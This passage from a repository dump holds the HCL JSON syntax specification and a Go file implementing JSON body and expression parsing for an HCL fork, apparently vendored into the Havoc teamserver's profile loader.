    "content": "# HCL JSON Syntax Specification\n\nThis is the specification for the JSON serialization for hcl. HCL is a system\nfor defining configuration languages for applications. The HCL information\nmodel is designed to support multiple concrete syntaxes for configuration,\nand this JSON-based format complements [the native syntax](../hclsyntax/spec.md)\nby being easy to machine-generate, whereas the native syntax is oriented\ntowards human authoring and maintenance\n\nThis syntax is defined in terms of JSON as defined in\n[RFC7159](https://tools.ietf.org/html/rfc7159). As such it inherits the JSON\ngrammar as-is, and merely defines a specific methodology for interpreting\nJSON constructs into HCL structural elements and expressions.\n\nThis mapping is defined such that valid JSON-serialized HCL input can be\n_produced_ using standard JSON implementations in various programming languages.\n_Parsing_ such JSON has some additional constraints not beyond what is normally\nsupported by JSON parsers, so a specialized parser may be required that\nis able to:\n\n- Preserve the relative ordering of properties defined in an object.\n- Preserve multiple definitions of the same property name.\n- Preserve numeric values to the precision required by the number type\n  in [the HCL syntax-agnostic information model](../spec.md).\n- Retain source location information for parsed tokens/constructs in order\n  to produce good error messages.\n\n## Structural Elements\n\n[The HCL syntax-agnostic information model](../spec.md) defines a _body_ as an\nabstract container for attribute definitions and child blocks. A body is\nrepresented in JSON as either a single JSON object or a JSON array of objects.\n\nBody processing is in terms of JSON object properties, visited in the order\nthey appear in the input. Where a body is represented by a single JSON object,\nthe properties of that object are visited in order. Where a body is\nrepresented by a JSON array, each of its elements are visited in order and\neach element has its properties visited in order. If any element of the array\nis not a JSON object then the input is erroneous.\n\nWhen a body is being processed in the _dynamic attributes_ mode, the allowance\nof a JSON array in the previous paragraph does not apply and instead a single\nJSON object is always required.\n\nAs defined in the language-agnostic model, body processing is in terms\nof a schema which provides context for interpreting the body's content. For\nJSON bodies, the schema is crucial to allow differentiation of attribute\ndefinitions and block definitions, both of which are represented via object\nproperties.\n\nThe special property name `\"//\"`, when used in an object representing a HCL\nbody, is parsed and ignored. A property with this name can be used to\ninclude human-readable comments. (This special property name is _not_\nprocessed in this way for any _other_ HCL constructs that are represented as\nJSON objects.)\n\n### Attributes\n\nWhere the given schema describes an attribute with a given name, the object\nproperty with the matching name — if present — serves as the attribute's\ndefinition.\n\nWhen a body is being processed in the _dynamic attributes_ mode, each object\nproperty serves as an attribute definition for the attribute whose name\nmatches the property name.\n\nThe value of an attribute definition property is interpreted as an _expression_,\nas described in a later section.\n\nGiven a schema that calls for an attribute named \"foo\", a JSON object like\nthe following provides a definition for that attribute:\n\n```json\n{\n  \"foo\": \"bar baz\"\n}\n```\n\n### Blocks\n\nWhere the given schema describes a block with a given type name, each object\nproperty with the matching name serves as a definition of zero or more blocks\nof that type.\n\nProcessing of child blocks is in terms of nested JSON objects and arrays.\nIf the schema defines one or more _labels_ for the block type, a nested JSON\nobject or JSON array of objects is required for each labelling level. These\nare flattened to a single ordered sequence of object properties using the\nsame algorithm as for body content as defined above. Each object property\nserves as a label value at the corresponding level.\n\nAfter any labelling levels, the next nested value is either a JSON object\nrepresenting a single block body, or a JSON array of JSON objects that each\nrepresent a single block body. Use of an array accommodates the definition\nof multiple blocks that have identical type and labels.\n\nGiven a schema that calls for a block type named \"foo\" with no labels, the\nfollowing JSON objects are all valid definitions of zero or more blocks of this\ntype:\n\n```json\n{\n  \"foo\": {\n    \"child_attr\": \"baz\"\n  }\n}\n```\n\n```json\n{\n  \"foo\": [\n    {\n      \"child_attr\": \"baz\"\n    },\n    {\n      \"child_attr\": \"boz\"\n    }\n  ]\n}\n```\n\n```json\n{\n  \"foo\": []\n}\n```\n\nThe first of these defines a single child block of type \"foo\". The second\ndefines _two_ such blocks. The final example shows a degenerate definition\nof zero blocks, though generators should prefer to omit the property entirely\nin this scenario.\n\nGiven a schema that calls for a block type named \"foo\" with _two_ labels, the\nextra label levels must be represented as objects or arrays of objects as in\nthe following examples:\n\n```json\n{\n  \"foo\": {\n    \"bar\": {\n      \"baz\": {\n        \"child_attr\": \"baz\"\n      },\n      \"boz\": {\n        \"child_attr\": \"baz\"\n      }\n    },\n    \"boz\": {\n      \"baz\": {\n        \"child_attr\": \"baz\"\n      }\n    }\n  }\n}\n```\n\n```json\n{\n  \"foo\": {\n    \"bar\": {\n      \"baz\": {\n        \"child_attr\": \"baz\"\n      },\n      \"boz\": {\n        \"child_attr\": \"baz\"\n      }\n    },\n    \"boz\": {\n      \"baz\": [\n        {\n          \"child_attr\": \"baz\"\n        },\n        {\n          \"child_attr\": \"boz\"\n        }\n      ]\n    }\n  }\n}\n```\n\n```json\n{\n  \"foo\": [\n    {\n      \"bar\": {\n        \"baz\": {\n          \"child_attr\": \"baz\"\n        },\n        \"boz\": {\n          \"child_attr\": \"baz\"\n        }\n      }\n    },\n    {\n      \"bar\": {\n        \"baz\": [\n          {\n            \"child_attr\": \"baz\"\n          },\n          {\n            \"child_attr\": \"boz\"\n          }\n        ]\n      }\n    }\n  ]\n}\n```\n\n```json\n{\n  \"foo\": {\n    \"bar\": {\n      \"baz\": {\n        \"child_attr\": \"baz\"\n      },\n      \"boz\": {\n        \"child_attr\": \"baz\"\n      }\n    },\n    \"bar\": {\n      \"baz\": [\n        {\n          \"child_attr\": \"baz\"\n        },\n        {\n          \"child_attr\": \"boz\"\n        }\n      ]\n    }\n  }\n}\n```\n\nArrays can be introduced at either the label definition or block body\ndefinition levels to define multiple definitions of the same block type\nor labels while preserving order.\n\nA JSON HCL parser _must_ support duplicate definitions of the same property\nname within a single object, preserving all of them and the relative ordering\nbetween them. The array-based forms are also required so that JSON HCL\nconfigurations can be produced with JSON producing libraries that are not\nable to preserve property definition order and multiple definitions of\nthe same property.\n\n## Expressions\n\nJSON lacks a native expression syntax, so the HCL JSON syntax instead defines\na mapping for each of the JSON value types, including a special mapping for\nstrings that allows optional use of arbitrary expressions.\n\n### Objects\n\nWhen interpreted as an expression, a JSON object represents a value of a HCL\nobject type.\n\nEach property of the JSON object represents an attribute of the HCL object type.\nThe property name string given in the JSON input is interpreted as a string\nexpression as described below, and its result is converted to string as defined\nby the syntax-agnostic information model. If such a conversion is not possible,\nan error is produced and evaluation fails.\n\nAn instance of the constructed object type is then created, whose values\nare interpreted by again recursively applying the mapping rules defined in\nthis section to each of the property values.\n\nIf any evaluated property name strings produce null values, an error is\nproduced and evaluation fails. If any produce _unknown_ values, the _entire\nobject's_ result is an unknown value of the dynamic pseudo-type, signalling\nthat the type of the object cannot be determined.\n\nIt is an error to define the same property name multiple times within a single\nJSON object interpreted as an expression. In full expression mode, this\nconstraint applies to the name expression results after conversion to string,\nrather than the raw string that may contain interpolation expressions.\n\n### Arrays\n\nWhen interpreted as an expression, a JSON array represents a value of a HCL\ntuple type.\n\nEach element of the JSON array represents an element of the HCL tuple type.\nThe tuple type is constructed by enumerating the JSON array elements, creating\nfor each an element whose type is the result of recursively applying the\nexpression mapping rules. Correspondence is preserved between the array element\nindices and the tuple element indices.\n\nAn instance of the constructed tuple type is then created, whose values are\ninterpreted by again recursively applying the mapping rules defined in this\nsection.\n\n### Numbers\n\nWhen interpreted as an expression, a JSON number represents a HCL number value.\n\nHCL numbers are arbitrary-precision decimal values, so a JSON HCL parser must\nbe able to translate exactly the value given to a number of corresponding\nprecision, within the constraints set by the HCL syntax-agnostic information\nmodel.\n\nIn practice, off-the-shelf JSON serializers often do not support customizing the\nprocessing of numbers, and instead force processing as 32-bit or 64-bit\nfloating point values.\n\nA _producer_ of JSON HCL that uses such a serializer can provide numeric values\nas JSON strings where they have precision too great for representation in the\nserializer's chosen numeric type in situations where the result will be\nconverted to number (using the standard conversion rules) by a calling\napplication.\n\nAlternatively, for expressions that are evaluated in full expression mode an\nembedded template interpolation can be used to faithfully represent a number,\nsuch as `\"${1e150}\"`, which will then be evaluated by the underlying HCL native\nsyntax expression evaluator.\n\n### Boolean Values\n\nThe JSON boolean values `true` and `false`, when interpreted as expressions,\nrepresent the corresponding HCL boolean values.\n\n### The Null Value\n\nThe JSON value `null`, when interpreted as an expression, represents a\nHCL null value of the dynamic pseudo-type.\n\n### Strings\n\nWhen interpreted as an expression, a JSON string may be interpreted in one of\ntwo ways depending on the evaluation mode.\n\nIf evaluating in literal-only mode (as defined by the syntax-agnostic\ninformation model) the literal string is interpreted directly as a HCL string\nvalue, by directly using the exact sequence of unicode characters represented.\nTemplate interpolations and directives MUST NOT be processed in this mode,\nallowing any characters that appear as introduction sequences to pass through\nliterally:\n\n```json\n\"Hello world! Template sequences like ${ are not interpreted here.\"\n```\n\nWhen evaluating in full expression mode (again, as defined by the syntax-\nagnostic information model) the literal string is instead interpreted as a\n_standalone template_ in the HCL Native Syntax. The expression evaluation\nresult is then the direct result of evaluating that template with the current\nvariable scope and function table.\n\n```json\n\"Hello, ${name}! Template sequences are interpreted in full expression mode.\"\n```\n\nIn particular the _Template Interpolation Unwrapping_ requirement from the\nHCL native syntax specification must be implemented, allowing the use of\nsingle-interpolation templates to represent expressions that would not\notherwise be representable in JSON, such as the following example where\nthe result must be a number, rather than a string representation of a number:\n\n```json\n\"${ a + b }\"\n```\n\n## Static Analysis\n\nThe HCL static analysis operations are implemented for JSON values that\nrepresent expressions, as described in the following sections.\n\nDue to the limited expressive power of the JSON syntax alone, use of these\nstatic analyses functions rather than normal expression evaluation is used\nas additional context for how a JSON value is to be interpreted, which means\nthat static analyses can result in a different interpretation of a given\nexpression than normal evaluation.\n\n### Static List\n\nAn expression interpreted as a static list must be a JSON array. Each of the\nvalues in the array is interpreted as an expression and returned.\n\n### Static Map\n\nAn expression interpreted as a static map must be a JSON object. Each of the\nkey/value pairs in the object is presented as a pair of expressions. Since\nobject property names are always strings, evaluating the key expression with\na non-`nil` evaluation context will evaluate any template sequences given\nin the property name.\n\n### Static Call\n\nAn expression interpreted as a static call must be a string. The content of\nthe string is interpreted as a native syntax expression (not a _template_,\nunlike normal evaluation) and then the static call analysis is delegated to\nthat expression.\n\nIf the original expression is not a string or its contents cannot be parsed\nas a native syntax expression then static call analysis is not supported.\n\n### Static Traversal\n\nAn expression interpreted as a static traversal must be a string. The content\nof the string is interpreted as a native syntax expression (not a _template_,\nunlike normal evaluation) and then static traversal analysis is delegated\nto that expression.\n\nIf the original expression is not a string or its contents cannot be parsed\nas a native syntax expression then static call analysis is not supported.\n"
  },
  {
    "path": "teamserver/pkg/profile/yaotl/json/structure.go",
    "content": "package json\n\nimport (\n    \"fmt\"\n\n    \"Havoc/pkg/profile/yaotl\"\n    \"Havoc/pkg/profile/yaotl/hclsyntax\"\n    \"github.com/zclconf/go-cty/cty\"\n    \"github.com/zclconf/go-cty/cty/convert\"\n)\n\n// body is the implementation of \"Body\" used for files processed with the JSON\n// parser.\ntype body struct {\n    val node\n\n    // If non-nil, the keys of this map cause the corresponding attributes to\n    // be treated as non-existing. This is used when Body.PartialContent is\n    // called, to produce the \"remaining content\" Body.\n    hiddenAttrs map[string]struct{}\n}\n\n// expression is the implementation of \"Expression\" used for files processed\n// with the JSON parser.\ntype expression struct {\n    src node\n}\n\nfunc (b *body) Content(schema *hcl.BodySchema) (*hcl.BodyContent, hcl.Diagnostics) {\n    content, newBody, diags := b.PartialContent(schema)\n\n    hiddenAttrs := newBody.(*body).hiddenAttrs\n\n    var nameSuggestions []string\n    for _, attrS := range schema.Attributes {\n        if _, ok := hiddenAttrs[attrS.Name]; !ok {\n            // Only suggest an attribute name if we didn't use it already.\n            nameSuggestions = append(nameSuggestions, attrS.Name)\n        }\n    }\n    for _, blockS := range schema.Blocks {\n        // Blocks can appear multiple times, so we'll suggest their type\n        // names regardless of whether they've already been used.\n        nameSuggestions = append(nameSuggestions, blockS.Type)\n    }\n\n    jsonAttrs, attrDiags := b.collectDeepAttrs(b.val, nil)\n    diags = append(diags, attrDiags...)\n\n    for _, attr := range jsonAttrs {\n        k := attr.Name\n        if k == \"//\" {\n            // Ignore \"//\" keys in objects representing bodies, to allow\n            // their use as comments.\n            continue\n        }\n\n        if _, ok := hiddenAttrs[k]; !ok {\n            suggestion := nameSuggestion(k, nameSuggestions)\n            if suggestion != \"\" {\n                suggestion = fmt.Sprintf(\" Did you mean %q?\", suggestion)\n            }\n\n            diags = append(diags, &hcl.Diagnostic{\n                Severity: hcl.DiagError,\n                Summary:  \"Extraneous JSON object property\",\n                Detail:   fmt.Sprintf(\"No argument or block type is named %q.%s\", k, suggestion),\n                Subject:  &attr.NameRange,\n                Context:  attr.Range().Ptr(),\n            })\n        }\n    }\n\n    return content, diags\n}\n\nfunc (b *body) PartialContent(schema *hcl.BodySchema) (*hcl.BodyContent, hcl.Body, hcl.Diagnostics) {\n    var diags hcl.Diagnostics\n\n    jsonAttrs, attrDiags := b.collectDeepAttrs(b.val, nil)\n    diags = append(diags, attrDiags...)\n\n    usedNames := map[string]struct{}{}\n    if b.hiddenAttrs != nil {\n        for k := range b.hiddenAttrs {\n            usedNames[k] = struct{}{}\n        }\n    }\n\n    content := &hcl.BodyContent{\n        Attributes: map[string]*hcl.Attribute{},\n        Blocks:     nil,\n\n        MissingItemRange: b.MissingItemRange(),\n    }\n\n    // Create some more convenient data structures for our work below.\n    attrSchemas := map[string]hcl.AttributeSchema{}\n    blockSchemas := map[string]hcl.BlockHeaderSchema{}\n    for _, attrS := range schema.Attributes {\n        attrSchemas[attrS.Name] = attrS\n    }\n    for _, blockS := range schema.Blocks {\n        blockSchemas[blockS.Type] = blockS\n    }\n\n    for _, jsonAttr := range jsonAttrs {\n        attrName := jsonAttr.Name\n        if _, used := b.hiddenAttrs[attrName]; used {\n            continue\n        }\n\n        if attrS, defined := attrSchemas[attrName]; defined {\n            if existing, exists := content.Attributes[attrName]; exists {\n                diags = append(diags, &hcl.Diagnostic{\n                    Severity: hcl.DiagError,\n                    Summary:  \"Duplicate argument\",\n                    Detail:   fmt.Sprintf(\"The argument %q was already set at %s.\", attrName, existing.Range),\n                    Subject:  &jsonAttr.NameRange,\n                    Context:  jsonAttr.Range().Ptr(),\n                })\n                continue\n            }\n\n            content.Attributes[attrS.Name] = &hcl.Attribute{\n                Name:      attrS.Name,\n                Expr:      &expression{src: jsonAttr.Value},\n                Range:     hcl.RangeBetween(jsonAttr.NameRange, jsonAttr.Value.Range()),\n                NameRange: jsonAttr.NameRange,\n            }\n            usedNames[attrName] = struct{}{}\n\n        } else if blockS, defined := blockSchemas[attrName]; defined {\n            bv := jsonAttr.Value\n            blockDiags := b.unpackBlock(bv, blockS.Type, &jsonAttr.NameRange, blockS.LabelNames, nil, nil, &content.Blocks)\n            diags = append(diags, blockDiags...)\n            usedNames[attrName] = struct{}{}\n        }\n\n        // We ignore anything that isn't defined because that's the\n        // PartialContent contract. The Content method will catch leftovers.\n    }\n\n    // Make sure we got all the required attributes.\n    for _, attrS := range schema.Attributes {\n        if !attrS.Required {\n            continue\n        }\n        if _, defined := content.Attributes[attrS.Name]; !defined {\n            diags = append(diags, &hcl.Diagnostic{\n                Severity: hcl.DiagError,\n                Summary:  \"Missing required argument\",\n                Detail:   fmt.Sprintf(\"The argument %q is required, but no definition was found.\", attrS.Name),\n                Subject:  b.MissingItemRange().Ptr(),\n            })\n        }\n    }\n\n    unusedBody := &body{\n        val:         b.val,\n        hiddenAttrs: usedNames,\n    }\n\n    return content, unusedBody, diags\n}\n\n// JustAttributes for JSON bodies interprets all properties of the wrapped\n// JSON object as attributes and returns them.\nfunc (b *body) JustAttributes() (hcl.Attributes, hcl.Diagnostics) {\n    var diags hcl.Diagnostics\n    attrs := make(map[string]*hcl.Attribute)\n\n    obj, ok := b.val.(*objectVal)\n    if !ok {\n        diags = append(diags, &hcl.Diagnostic{\n            Severity: hcl.DiagError,\n            Summary:  \"Incorrect JSON value type\",\n            Detail:   \"A JSON object is required here, setting the arguments for this block.\",\n            Subject:  b.val.StartRange().Ptr(),\n        })\n        return attrs, diags\n    }\n\n    for _, jsonAttr := range obj.Attrs {\n        name := jsonAttr.Name\n        if name == \"//\" {\n            // Ignore \"//\" keys in objects representing bodies, to allow\n            // their use as comments.\n            continue\n        }\n\n        if _, hidden := b.hiddenAttrs[name]; hidden {\n            continue\n        }\n\n        if existing, exists := attrs[name]; exists {\n            diags = append(diags, &hcl.Diagnostic{\n                Severity: hcl.DiagError,\n                Summary:  \"Duplicate attribute definition\",\n                Detail:   fmt.Sprintf(\"The argument %q was already set at %s.\", name, existing.Range),\n                Subject:  &jsonAttr.NameRange,\n            })\n            continue\n        }\n\n        attrs[name] = &hcl.Attribute{\n            Name:      name,\n            Expr:      &expression{src: jsonAttr.Value},\n            Range:     hcl.RangeBetween(jsonAttr.NameRange, jsonAttr.Value.Range()),\n            NameRange: jsonAttr.NameRange,\n        }\n    }\n\n    // No diagnostics possible here, since the parser already took care of\n    // finding duplicates and every JSON value can be a valid attribute value.\n    return attrs, diags\n}\n\nfunc (b *body) MissingItemRange() hcl.Range {\n    switch tv := b.val.(type) {\n    case *objectVal:\n        return tv.CloseRange\n    case *arrayVal:\n        return tv.OpenRange\n    default:\n        // Should not happen in correct operation, but might show up if the\n        // input is invalid and we are producing partial results.\n        return tv.StartRange()\n    }\n}\n\nfunc (b *body) unpackBlock(v node, typeName string, typeRange *hcl.Range, labelsLeft []string, labelsUsed []string, labelRanges []hcl.Range, blocks *hcl.Blocks) (diags hcl.Diagnostics) {\n    if len(labelsLeft) > 0 {\n        labelName := labelsLeft[0]\n        jsonAttrs, attrDiags := b.collectDeepAttrs(v, &labelName)\n        diags = append(diags, attrDiags...)\n\n        if len(jsonAttrs) == 0 {\n            diags = diags.Append(&hcl.Diagnostic{\n                Severity: hcl.DiagError,\n                Summary:  \"Missing block label\",\n                Detail:   fmt.Sprintf(\"At least one object property is required, whose name represents the %s block's %s.\", typeName, labelName),\n                Subject:  v.StartRange().Ptr(),\n            })\n            return\n        }\n        labelsUsed := append(labelsUsed, \"\")\n        labelRanges := append(labelRanges, hcl.Range{})\n        for _, p := range jsonAttrs {\n            pk := p.Name\n            labelsUsed[len(labelsUsed)-1] = pk\n            labelRanges[len(labelRanges)-1] = p.NameRange\n            diags = append(diags, b.unpackBlock(p.Value, typeName, typeRange, labelsLeft[1:], labelsUsed, labelRanges, blocks)...)\n        }\n        return\n    }\n\n    // By the time we get here, we've peeled off all the labels and we're ready\n    // to deal with the block's actual content.\n\n    // need to copy the label slices because their underlying arrays will\n    // continue to be mutated after we return.\n    labels := make([]string, len(labelsUsed))\n    copy(labels, labelsUsed)\n    labelR := make([]hcl.Range, len(labelRanges))\n    copy(labelR, labelRanges)\n\n    switch tv := v.(type) {\n    case *nullVal:\n        // There is no block content, e.g the value is null.\n        return\n    case *objectVal:\n        // Single instance of the block\n        *blocks = append(*blocks, &hcl.Block{\n            Type:   typeName,\n            Labels: labels,\n            Body: &body{\n                val: tv,\n            },\n\n            DefRange:    tv.OpenRange,\n            TypeRange:   *typeRange,\n            LabelRanges: labelR,\n        })\n    case *arrayVal:\n        // Multiple instances of the block\n        for _, av := range tv.Values {\n            *blocks = append(*blocks, &hcl.Block{\n                Type:   typeName,\n                Labels: labels,\n                Body: &body{\n                    val: av, // might be mistyped; we'll find out when content is requested for this body\n                },\n\n                DefRange:    tv.OpenRange,\n                TypeRange:   *typeRange,\n                LabelRanges: labelR,\n            })\n        }\n    default:\n        diags = diags.Append(&hcl.Diagnostic{\n            Severity: hcl.DiagError,\n            Summary:  \"Incorrect JSON value type\",\n            Detail:   fmt.Sprintf(\"Either a JSON object or a JSON array is required, representing the contents of one or more %q blocks.\", typeName),\n            Subject:  v.StartRange().Ptr(),\n        })\n    }\n    return\n}\n\n// collectDeepAttrs takes either a single object or an array of objects and\n// flattens it into a list of object attributes, collecting attributes from\n// all of the objects in a given array.\n//\n// Ordering is preserved, so a list of objects that each have one property\n// will result in those properties being returned in the same order as the\n// objects appeared in the array.\n//\n// This is appropriate for use only for objects representing bodies or labels\n// within a block.\n//\n// The labelName argument, if non-null, is used to tailor returned error\n// messages to refer to block labels rather than attributes and child blocks.\n// It has no other effect.\nfunc (b *body) collectDeepAttrs(v node, labelName *string) ([]*objectAttr, hcl.Diagnostics) {\n    var diags hcl.Diagnostics\n    var attrs []*objectAttr\n\n    switch tv := v.(type) {\n    case *nullVal:\n        // If a value is null, then we don't return any attributes or return an error.\n\n    case *objectVal:\n        attrs = append(attrs, tv.Attrs...)\n\n    case *arrayVal:\n        for _, ev := range tv.Values {\n            switch tev := ev.(type) {\n            case *objectVal:\n                attrs = append(attrs, tev.Attrs...)\n            default:\n                if labelName != nil {\n                    diags = append(diags, &hcl.Diagnostic{\n                        Severity: hcl.DiagError,\n                        Summary:  \"Incorrect JSON value type\",\n                        Detail:   fmt.Sprintf(\"A JSON object is required here, to specify %s labels for this block.\", *labelName),\n                        Subject:  ev.StartRange().Ptr(),\n                    })\n                } else {\n                    diags = append(diags, &hcl.Diagnostic{\n                        Severity: hcl.DiagError,\n                        Summary:  \"Incorrect JSON value type\",\n                        Detail:   \"A JSON object is required here, to define arguments and child blocks.\",\n                        Subject:  ev.StartRange().Ptr(),\n                    })\n                }\n            }\n        }\n\n    default:\n        if labelName != nil {\n            diags = append(diags, &hcl.Diagnostic{\n                Severity: hcl.DiagError,\n                Summary:  \"Incorrect JSON value type\",\n                Detail:   fmt.Sprintf(\"Either a JSON object or JSON array of objects is required here, to specify %s labels for this block.\", *labelName),\n                Subject:  v.StartRange().Ptr(),\n            })\n        } else {\n            diags = append(diags, &hcl.Diagnostic{\n                Severity: hcl.DiagError,\n                Summary:  \"Incorrect JSON value type\",\n                Detail:   \"Either a JSON object or JSON array of objects is required here, to define arguments and child blocks.\",\n                Subject:  v.StartRange().Ptr(),\n            })\n        }\n    }\n\n    return attrs, diags\n}\n\nfunc (e *expression) Value(ctx *hcl.EvalContext) (cty.Value, hcl.Diagnostics) {\n    switch v := e.src.(type) {\n    case *stringVal:\n        if ctx != nil {\n            // Parse string contents as a HCL native language expression.\n            // We only do this if we have a context, so passing a nil context\n            // is how the caller specifies that interpolations are not allowed\n            // and that the string should just be returned verbatim.\n            templateSrc := v.Value\n            expr, diags := hclsyntax.ParseTemplate(\n                []byte(templateSrc),\n                v.SrcRange.Filename,\n\n                // This won't produce _exactly_ the right result, since\n                // the hclsyntax parser can't \"see\" any escapes we removed\n                // while parsing JSON, but it's better than nothing.\n                hcl.Pos{\n                    Line: v.SrcRange.Start.Line,\n\n                    // skip over the opening quote mark\n                    Byte:   v.SrcRange.Start.Byte + 1,\n                    Column: v.SrcRange.Start.Column + 1,\n                },\n            )\n            if diags.HasErrors() {\n                return cty.DynamicVal, diags\n            }\n            val, evalDiags := expr.Value(ctx)\n            diags = append(diags, evalDiags...)\n            return val, diags\n        }\n\n        return cty.StringVal(v.Value), nil\n    case *numberVal:\n        return cty.NumberVal(v.Value), nil\n    case *booleanVal:\n        return cty.BoolVal(v.Value), nil\n    case *arrayVal:\n        var diags hcl.Diagnostics\n        vals := []cty.Value{}\n        for _, jsonVal := range v.Values {\n            val, valDiags := (&expression{src: jsonVal}).Value(ctx)\n            vals = append(vals, val)\n            diags = append(diags, valDiags...)\n        }\n        return cty.TupleVal(vals), diags\n    case *objectVal:\n        var diags hcl.Diagnostics\n        attrs := map[string]cty.Value{}\n        attrRanges := map[string]hcl.Range{}\n        known := true\n        for _, jsonAttr := range v.Attrs {\n            // In this one context we allow keys to contain interpolation\n            // expressions too, assuming we're evaluating in interpolation\n            // mode. This achieves parity with the native syntax where\n            // object expressions can have dynamic keys, while block contents\n            // may not.\n            name, nameDiags := (&expression{src: &stringVal{\n                Value:    jsonAttr.Name,\n                SrcRange: jsonAttr.NameRange,\n            }}).Value(ctx)\n            valExpr := &expression{src: jsonAttr.Value}\n            val, valDiags := valExpr.Value(ctx)\n            diags = append(diags, nameDiags...)\n            diags = append(diags, valDiags...)\n\n            var err error\n            name, err = convert.Convert(name, cty.String)\n            if err != nil {\n                diags = append(diags, &hcl.Diagnostic{\n                    Severity:    hcl.DiagError,\n                    Summary:     \"Invalid object key expression\",\n                    Detail:      fmt.Sprintf(\"Cannot use this expression as an object key: %s.\", err),\n                    Subject:     &jsonAttr.NameRange,\n                    Expression:  valExpr,\n                    EvalContext: ctx,\n                })\n                continue\n            }\n            if name.IsNull() {\n                diags = append(diags, &hcl.Diagnostic{\n                    Severity:    hcl.DiagError,\n                    Summary:     \"Invalid object key expression\",\n                    Detail:      \"Cannot use null value as an object key.\",\n                    Subject:     &jsonAttr.NameRange,\n                    Expression:  valExpr,\n                    EvalContext: ctx,\n                })\n                continue\n            }\n            if !name.IsKnown() {\n                // This is a bit of a weird case, since our usual rules require\n                // us to tolerate unknowns and just represent the result as\n                // best we can but if we don't know the key then we can't\n                // know the type of our object at all, and thus we must turn\n                // the whole thing into cty.DynamicVal. This is consistent with\n                // how this situation is handled in the native syntax.\n                // We'll keep iterating so we can collect other errors in\n                // subsequent attributes.\n                known = false\n                continue\n            }\n            nameStr := name.AsString()\n            if _, defined := attrs[nameStr]; defined {\n                diags = append(diags, &hcl.Diagnostic{\n                    Severity:    hcl.DiagError,\n                    Summary:     \"Duplicate object attribute\",\n                    Detail:      fmt.Sprintf(\"An attribute named %q was already defined at %s.\", nameStr, attrRanges[nameStr]),\n                    Subject:     &jsonAttr.NameRange,\n                    Expression:  e,\n                    EvalContext: ctx,\n                })\n                continue\n            }\n            attrs[nameStr] = val\n            attrRanges[nameStr] = jsonAttr.NameRange\n        }\n        if !known {\n            // We encountered an unknown key somewhere along the way, so\n            // we can't know what our type will eventually be.\n            return cty.DynamicVal, diags\n        }\n        return cty.ObjectVal(attrs), diags\n    case *nullVal:\n        return cty.NullVal(cty.DynamicPseudoType), nil\n    default:\n        // Default to DynamicVal so that ASTs containing invalid nodes can\n        // still be partially-evaluated.\n        return cty.DynamicVal, nil\n    }\n}\n\nfunc (e *expression) Variables() []hcl.Traversal {\n    var vars []hcl.Traversal\n\n    switch v := e.src.(type) {\n    case *stringVal:\n        templateSrc := v.Value\n        expr, diags := hclsyntax.ParseTemplate(\n            []byte(templateSrc),\n            v.SrcRange.Filename,\n\n            // This won't produce _exactly_ the right result, since\n            // the hclsyntax parser can't \"see\" any escapes we removed\n            // while parsing JSON, but it's better than nothing.\n            hcl.Pos{\n                Line: v.SrcRange.Start.Line,\n\n                // skip over the opening quote mark\n                Byte:   v.SrcRange.Start.Byte + 1,\n                Column: v.SrcRange.Start.Column + 1,\n            },\n        )\n        if diags.HasErrors() {\n            return vars\n        }\n        return expr.Variables()\n\n    case *arrayVal:\n        for _, jsonVal := range v.Values {\n            vars = append(vars, (&expression{src: jsonVal}).Variables()...)\n        }\n    case *objectVal:\n        for _, jsonAttr := range v.Attrs {\n            keyExpr := &stringVal{ // we're going to treat key as an expression in this context\n                Value:    jsonAttr.Name,\n                SrcRange: jsonAttr.NameRange,\n            }\n            vars = append(vars, (&expression{src: keyExpr}).Variables()...)\n            vars = append(vars, (&expression{src: jsonAttr.Value}).Variables()...)\n        }\n    }\n\n    return vars\n}\n\nfunc (e *expression) Range() hcl.Range {\n    return e.src.Range()\n}\n\nfunc (e *expression) StartRange() hcl.Range {\n    return e.src.StartRange()\n}\n\n// Implementation for hcl.AbsTraversalForExpr.\nfunc (e *expression) AsTraversal() hcl.Traversal {\n    // In JSON-based syntax a traversal is given as a string containing\n    // traversal syntax as defined by hclsyntax.ParseTraversalAbs.\n\n    switch v := e.src.(type) {\n    case *stringVal:\n        traversal, diags := hclsyntax.ParseTraversalAbs([]byte(v.Value), v.SrcRange.Filename, v.SrcRange.Start)\n        if diags.HasErrors() {\n            return nil\n        }\n        return traversal\n    default:\n        return nil\n    }\n}\n\n// Implementation for hcl.ExprCall.\nfunc (e *expression) ExprCall() *hcl.StaticCall {\n    // In JSON-based syntax a static call is given as a string containing\n    // an expression in the native syntax that also supports ExprCall.\n\n    switch v := e.src.(type) {\n    case *stringVal:\n        expr, diags := hclsyntax.ParseExpression([]byte(v.Value), v.SrcRange.Filename, v.SrcRange.Start)\n        if diags.HasErrors() {\n            return nil\n        }\n\n        call, diags := hcl.ExprCall(expr)\n        if diags.HasErrors() {\n            return nil\n        }\n\n        return call\n    default:\n        return nil\n    }\n}\n\n// Implementation for hcl.ExprList.\nfunc (e *expression) ExprList() []hcl.Expression {\n    switch v := e.src.(type) {\n    case *arrayVal:\n        ret := make([]hcl.Expression, len(v.Values))\n        for i, node := range v.Values {\n            ret[i] = &expression{src: node}\n        }\n        return ret\n    default:\n        return nil\n    }\n}\n\n// Implementation for hcl.ExprMap.\nfunc (e *expression) ExprMap() []hcl.KeyValuePair {\n    switch v := e.src.(type) {\n    case *objectVal:\n        ret := make([]hcl.KeyValuePair, len(v.Attrs))\n        for i, jsonAttr := range v.Attrs {\n            ret[i] = hcl.KeyValuePair{\n                Key: &expression{src: &stringVal{\n                    Value:    jsonAttr.Name,\n                    SrcRange: jsonAttr.NameRange,\n                }},\n                Value: &expression{src: jsonAttr.Value},\n            }\n        }\n        return ret\n    default:\n        return nil\n    }\n}\n"
  },
  {
    "path": "teamserver/pkg/profile/yaotl/json/structure_test.go",
